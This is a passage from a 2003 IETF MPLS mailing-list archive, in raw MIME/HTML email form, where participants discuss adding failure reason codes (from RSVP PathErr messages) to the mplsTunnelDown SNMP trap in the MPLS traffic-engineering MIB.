</span><span style=3D"mso-spacerun: yes">&nbsp;&nbsp; =
</span>}</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre></div>

<div style=3D'border:none;border-left:solid black 1.5pt;padding:0cm 0cm =
0cm 4.0pt'><pre
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:solid =
black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;color:black'>STATUS<span =
style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>current</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:solid =
black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'><span =
style=3D"mso-spacerun: yes">&nbsp;&nbsp; =
</span>DESCRIPTION</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:solid =
black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'><span =
style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>&quot;This notification is generated when a mplsTunnelOperStatus =
object for one of the</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre></div>

<div style=3D'border:none;border-left:solid black 1.5pt;padding:0cm 0cm =
0cm 4.0pt'><pre
style=3D'margin-left:141.15pt;border:none;mso-border-left-alt:solid =
black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span =
style=3D'font-size:10.0pt;color:black'>configured tunnels is about to =
enter the down state from some other state (but not from the =
notPresent<span style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>state).<span =
style=3D"mso-spacerun: yes">&nbsp; </span>This other state is indicated =
by the</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre></div>

<div style=3D'border:none;border-left:solid black 1.5pt;padding:0cm 0cm =
0cm 4.0pt'><pre
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:solid =
black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'><span =
style=3D"mso-spacerun: =
yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span>included value of mplsTunnelOperStatus.&quot;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre><pre
style=3D'margin-left:75.75pt;border:none;mso-border-left-alt:solid =
black 1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'><span =
style=3D"mso-spacerun: yes">&nbsp;&nbsp; </span>::=3D { =
mplsTeNotifications 2 }</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre></div>

<div style=3D'border:none;border-left:solid black 1.5pt;padding:0cm 0cm =
0cm 4.0pt'><pre
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:solid black =
1.5pt;
padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font size=3D2 =
color=3Dblack
face=3D"Courier New"><span style=3D'font-size:10.0pt;color:black'><![if =
!supportEmptyParas]>&nbsp;<![endif]></span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</pre>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;color:black'>There is no
indication (also no in the mplsTunnleTable) on the cause to the error. =
</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;color:black'>The PathErr
messages contain details on the cause to the error (error code and =
error
value). </span></font><font color=3Dblack><span =
style=3D'color:black;mso-color-alt:
windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;color:black'>How can this
information be exposed to the administrator?</span></font><font =
color=3Dblack><span
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;color:black'>&nbsp;</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font>=
</p>

<p class=3DMsoNormal =
style=3D'margin-left:3.75pt;border:none;mso-border-left-alt:
solid black 1.5pt;padding:0cm;mso-padding-alt:0cm 0cm 0cm 4.0pt'><font =
size=3D2
color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;color:black'>Thanks,
Nurit.<span class=3DEmailStyle17><font =
color=3Dblack><o:p></o:p></font></span></span></font></p>

</div>

</div>

</body>

</html>

------_=_NextPart_001_01C39C52.366B0320--


From owner-mpls@UU.NET  Mon Oct 27 06:21:20 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA07087
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 06:21:20 -0500 (EST)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfd23727
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 11:21:31 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmfd23499;
	Mon, 27 Oct 2003 11:21:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmfc07846
	for mpls-outgoing; Mon, 27 Oct 2003 11:00:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmfc07767
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 11:00:40 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmfb14961
	for <mpls@UU.NET>; Mon, 27 Oct 2003 10:59:34 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfb05844
	for <mpls@UU.NET>; Mon, 27 Oct 2003 10:59:33 GMT
Received: from relay0.netfirms.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: m0.netfirms.com [209.171.43.51])
	id QQpmfb05832
	for <mpls@UU.NET>; Mon, 27 Oct 2003 10:59:32 GMT
Received: (qmail 72100 invoked from network); 27 Oct 2003 10:59:19 -0000
Received: from du-069-1107.access.clara.net (HELO Puppy) (217.158.179.90)
  by 0 with SMTP; 27 Oct 2003 10:59:19 -0000
Message-ID: <026a01c39c79$6c56f580$e9aa9ed9@Puppy>
Reply-To: "Adrian Farrel" <adrian@olddog.co.uk>
From: "Adrian Farrel" <adrian@olddog.co.uk>
To: "Nurit Sprecher" <nurit.sprecher@SeabridgeNetworks.com>,
        <cheenu@bloomberg.net>, <arunv@force10networks.com>,
        <tnadeau@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
References: <C87E5A01714C7840B92CDED9E79329CA0117D082@leopard.seabridge.co.il>
Subject: Re: mplsTunnelDown Trap
Date: Mon, 27 Oct 2003 10:56:14 -0000
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_025B_01C39C78.F0A639A0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_025B_01C39C78.F0A639A0
Content-Type: text/plain;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

Yes,
We should look at adding the reason codes to the traps.

I have added this to our list of things to do.

Thanks,
Adrian
  ----- Original Message -----=20
  From: Nurit Sprecher=20
  To: 'Adrian Farrel' ; Nurit Sprecher ; cheenu@bloomberg.net ; =
arunv@force10networks.com ; tnadeau@cisco.com=20
  Cc: 'mpls@uu.net'=20
  Sent: Monday, October 27, 2003 6:19 AM
  Subject: RE: mplsTunnelDown Trap


  Hi Adrian,

  Thanks for your response.=20

  Finally I could find the MIB you are talking about (it does not appear =
in the WG page).

  What about notifications? Do you think of defining Traps?

  Thanks, Nurit.=20

  =20

  -----Original Message-----
  From: Adrian Farrel [mailto:adrian@olddog.co.uk]
  Sent: Monday, October 27, 2003 12:26 AM
  To: Nurit Sprecher; cheenu@bloomberg.net; arunv@force10networks.com; =
tnadeau@cisco.com
  Cc: 'mpls@uu.net'
  Subject: Re: mplsTunnelDown Trap

  =20

  Please see the work we are doing on the 'next generation' of these =
MIBs in the CCAMP WG.

  =20

  Cheers,

  Adrian

  ----- Original Message -----=20


  From: Nurit Sprecher=20

  To: 'cheenu@bloomberg.net' ; 'arunv@force10networks.com' ; =
'tnadeau@cisco.com'=20

  Cc: 'mpls@uu.net'=20

  Sent: Sunday, October 26, 2003 10:24 AM

  Subject: mplsTunnelDown Trap

  =20

Hi,I have a question regarding the mplsTunnelDown Trap. The objects that =
are defined for the Trap are as follows:       mplsTunnelDown =
NOTIFICATION-TYPE          OBJECTS     {             =
mplsTunnelAdminStatus,             mplsTunnelOperStatus          }STATUS =
     current   DESCRIPTION        "This notification is generated when a =
mplsTunnelOperStatus object for one of theconfigured tunnels is about to =
enter the down state from some other state (but not from the notPresent  =
      state).  This other state is indicated by the          included =
value of mplsTunnelOperStatus."   ::=3D { mplsTeNotifications 2 } There =
is no indication (also no in the mplsTunnleTable) on the cause to the =
error.=20

  The PathErr messages contain details on the cause to the error (error =
code and error value).=20

  =20

  How can this information be exposed to the administrator?

  =20

  Thanks, Nurit.

------=_NextPart_000_025B_01C39C78.F0A639A0
Content-Type: text/html;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns=3D"http://www.w3.org/TR/REC-html40" xmlns:v =3D=20
"urn:schemas-microsoft-com:vml" xmlns:o =3D=20
"urn:schemas-microsoft-com:office:office" xmlns:w =3D=20
"urn:schemas-microsoft-com:office:word"><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1255">
<META content=3DWord.Document name=3DProgId>
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<META content=3D"Microsoft Word 9" name=3DOriginator><LINK=20
href=3D"cid:filelist.xml@01C39C62.F9445940" rel=3DFile-List><!--[if gte =
mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:View>Normal</w:View>
  <w:Zoom>0</w:Zoom>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
 </w:WordDocument>
</xml><![endif]-->
<STYLE>@font-face {
	font-family: Tahoma;
}
@page Section1 {size: 595.3pt 841.9pt; margin: 72.0pt 90.0pt 72.0pt =
90.0pt; mso-header-margin: 35.4pt; mso-footer-margin: 35.4pt; =
mso-paper-source: 0; }
P.MsoNormal {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
LI.MsoNormal {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
DIV.MsoNormal {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
A:link {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
SPAN.MsoHyperlink {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
A:visited {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
SPAN.MsoHyperlinkFollowed {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
P.MsoAutoSig {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Times New Roman"
}
LI.MsoAutoSig {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Times New Roman"
}
DIV.MsoAutoSig {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: Arial; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Times New Roman"
}
PRE {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: "Courier New"; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Courier New"
}
SPAN.EmailStyle17 {
	COLOR: black; mso-style-type: personal; mso-ansi-font-size: 10.0pt; =
mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; =
mso-bidi-font-family: Arial
}
SPAN.EmailStyle20 {
	COLOR: navy; mso-style-type: personal-reply; mso-ansi-font-size: =
10.0pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial; =
mso-bidi-font-family: Arial
}
DIV.Section1 {
	page: Section1
}
</STYLE>
<!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext=3D"edit" spidmax=3D"1027"/>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext=3D"edit">
  <o:idmap v:ext=3D"edit" data=3D"1"/>
 </o:shapelayout></xml><![endif]--></HEAD>
<BODY lang=3DEN-US style=3D"tab-interval: 36.0pt" vLink=3Dblue =
link=3Dblue=20
bgColor=3Dwhite>
<DIV><FONT size=3D2>Yes,</FONT></DIV>
<DIV><FONT size=3D2>We should look at adding the reason codes to the=20
traps.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>I have added this to our list of things to =
do.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Thanks,</FONT></DIV>
<DIV><FONT size=3D2>Adrian</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dnurit.sprecher@SeabridgeNetworks.com=20
  href=3D"mailto:nurit.sprecher@SeabridgeNetworks.com">Nurit =
Sprecher</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Dadrian@olddog.co.uk=20
  href=3D"mailto:adrian@olddog.co.uk">'Adrian Farrel'</A> ; <A=20
  title=3Dnurit.sprecher@SeabridgeNetworks.com=20
  href=3D"mailto:nurit.sprecher@SeabridgeNetworks.com">Nurit =
Sprecher</A> ; <A=20
  title=3Dcheenu@bloomberg.net=20
  href=3D"mailto:cheenu@bloomberg.net">cheenu@bloomberg.net</A> ; <A=20
  title=3Darunv@force10networks.com=20
  =
href=3D"mailto:arunv@force10networks.com">arunv@force10networks.com</A> =
; <A=20
  title=3Dtnadeau@cisco.com =
href=3D"mailto:tnadeau@cisco.com">tnadeau@cisco.com</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A title=3Dmpls@UU.NET=20
  href=3D"mailto:'mpls@uu.net'">'mpls@uu.net'</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, October 27, 2003 =
6:19=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> RE: mplsTunnelDown =
Trap</DIV>
  <DIV><BR></DIV>
  <DIV class=3DSection1>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle20><FONT face=3DArial =
color=3Dnavy=20
  size=3D2><SPAN style=3D"FONT-SIZE: 10pt">Hi=20
  Adrian,<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle20><FONT face=3DArial =
color=3Dnavy=20
  size=3D2><SPAN style=3D"FONT-SIZE: 10pt">Thanks for your response.=20
  <o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle20><FONT face=3DArial =
color=3Dnavy=20
  size=3D2><SPAN style=3D"FONT-SIZE: 10pt">Finally I could find the MIB =
you are=20
  talking about (it does not appear in the WG=20
  page).<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle20><FONT face=3DArial =
color=3Dnavy=20
  size=3D2><SPAN style=3D"FONT-SIZE: 10pt">What about notifications? Do =
you think of=20
  defining Traps?<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle20><FONT face=3DArial =
color=3Dnavy=20
  size=3D2><SPAN style=3D"FONT-SIZE: 10pt">Thanks, Nurit.=20
  <o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle20><FONT face=3DArial =
color=3Dnavy=20
  size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt"><![if =
!supportEmptyParas]><![endif]>&nbsp;<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><FONT face=3DTahoma color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: =
Tahoma">-----Original=20
  Message-----<BR><B><SPAN style=3D"FONT-WEIGHT: bold">From:</SPAN></B> =
Adrian=20
  Farrel [mailto:adrian@olddog.co.uk]<BR><B><SPAN=20
  style=3D"FONT-WEIGHT: bold">Sent:</SPAN></B> Monday, October 27, 2003 =
12:26=20
  AM<BR><B><SPAN style=3D"FONT-WEIGHT: bold">To:</SPAN></B> Nurit =
Sprecher; <A=20
  href=3D"mailto:cheenu@bloomberg.net">cheenu@bloomberg.net</A>; <A=20
  =
href=3D"mailto:arunv@force10networks.com">arunv@force10networks.com</A>; =
<A=20
  href=3D"mailto:tnadeau@cisco.com">tnadeau@cisco.com</A><BR><B><SPAN=20
  style=3D"FONT-WEIGHT: bold">Cc:</SPAN></B> <A=20
  href=3D"mailto:'mpls@uu.net'">'mpls@uu.net'</A><BR><B><SPAN=20
  style=3D"FONT-WEIGHT: bold">Subject:</SPAN></B> Re: mplsTunnelDown=20
  Trap</SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3DArial size=3D2><SPAN =
style=3D"FONT-SIZE: 10pt"><![if =
!supportEmptyParas]><![endif]>&nbsp;<o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3D"Times New Roman" color=3Dblack =
size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: 'Times New =
Roman'">Please=20
  see the work we are doing on the 'next generation' of these MIBs in =
the CCAMP=20
  WG.</SPAN></FONT><FONT face=3D"Times New Roman" color=3Dblack =
size=3D3><SPAN=20
  style=3D"FONT-SIZE: 12pt; COLOR: black; FONT-FAMILY: 'Times New =
Roman'; mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3D"Times New Roman" color=3Dblack =
size=3D3><SPAN=20
  style=3D"FONT-SIZE: 12pt; COLOR: black; FONT-FAMILY: 'Times New =
Roman'">&nbsp;</SPAN></FONT><FONT=20
  face=3D"Times New Roman" color=3Dblack size=3D3><SPAN=20
  style=3D"FONT-SIZE: 12pt; COLOR: black; FONT-FAMILY: 'Times New =
Roman'; mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3D"Times New Roman" color=3Dblack =
size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: 'Times New =
Roman'">Cheers,</SPAN></FONT><FONT=20
  face=3D"Times New Roman" color=3Dblack size=3D3><SPAN=20
  style=3D"FONT-SIZE: 12pt; COLOR: black; FONT-FAMILY: 'Times New =
Roman'; mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3D"Times New Roman" color=3Dblack =
size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: 'Times New =
Roman'">Adrian</SPAN></FONT><FONT=20
  face=3D"Times New Roman" color=3Dblack size=3D3><SPAN=20
  style=3D"FONT-SIZE: 12pt; COLOR: black; FONT-FAMILY: 'Times New =
Roman'; mso-color-alt: windowtext"><o:p></o:p></SPAN></FONT></P>
  <DIV=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black =
1.5pt solid; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none">
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; =
mso-border-left-alt: solid black 1.5pt; mso-padding-alt: 0cm 0cm 0cm =
4.0pt"><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: black">----- Original Message -----=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; BACKGROUND: #e4e4e4; PADDING-BOTTOM: =
0cm; MARGIN-LEFT: 3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; =
BORDER-BOTTOM: medium none; mso-margin-top-alt: auto; =
mso-margin-bottom-alt: auto; mso-border-left-alt: solid black 1.5pt; =
mso-padding-alt: 0cm 0cm 0cm 4.0pt"><B><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-WEIGHT: bold; FONT-SIZE: 10pt; COLOR: black">
  <DIV style=3D"font-color: black">From:</SPAN></FONT></B><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black"> <A =
title=3Dnurit.sprecher@SeabridgeNetworks.com=20
  href=3D"mailto:nurit.sprecher@SeabridgeNetworks.com">Nurit =
Sprecher</A>=20
  </SPAN></FONT></DIV><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT>
  <P></P>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; =
mso-border-left-alt: solid black 1.5pt; mso-padding-alt: 0cm 0cm 0cm =
4.0pt"><B><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-WEIGHT: bold; FONT-SIZE: 10pt; COLOR: =
black">To:</SPAN></FONT></B><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> <A =
title=3Dcheenu@bloomberg.net=20
  href=3D"mailto:'cheenu@bloomberg.net'">'cheenu@bloomberg.net'</A> ; <A =

  title=3Darunv@force10networks.com=20
  =
href=3D"mailto:'arunv@force10networks.com'">'arunv@force10networks.com'</=
A> ; <A=20
  title=3Dtnadeau@cisco.com=20
  href=3D"mailto:'tnadeau@cisco.com'">'tnadeau@cisco.com'</A> =
</SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; =
mso-border-left-alt: solid black 1.5pt; mso-padding-alt: 0cm 0cm 0cm =
4.0pt"><B><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-WEIGHT: bold; FONT-SIZE: 10pt; COLOR: =
black">Cc:</SPAN></FONT></B><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> <A title=3Dmpls@UU.NET=20
  href=3D"mailto:'mpls@uu.net'">'mpls@uu.net'</A> </SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; =
mso-border-left-alt: solid black 1.5pt; mso-padding-alt: 0cm 0cm 0cm =
4.0pt"><B><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-WEIGHT: bold; FONT-SIZE: 10pt; COLOR: =
black">Sent:</SPAN></FONT></B><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> Sunday, October 26, 2003 =
10:24=20
  AM</SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal=20
  style=3D"BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: =
medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN-LEFT: =
3.75pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: =
medium none; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; =
mso-border-left-alt: solid black 1.5pt; mso-padding-alt: 0cm 0cm 0cm =
4.0pt"><B><FONT=20
  face=3DArial color=3Dblack size=3D2><SPAN=20
  style=3D"FONT-WEIGHT: bold; FONT-SIZE: 10pt; COLOR: =
black">Subject:</SPAN></FONT></B><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> mplsTunnelDown =
Trap</SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal=20
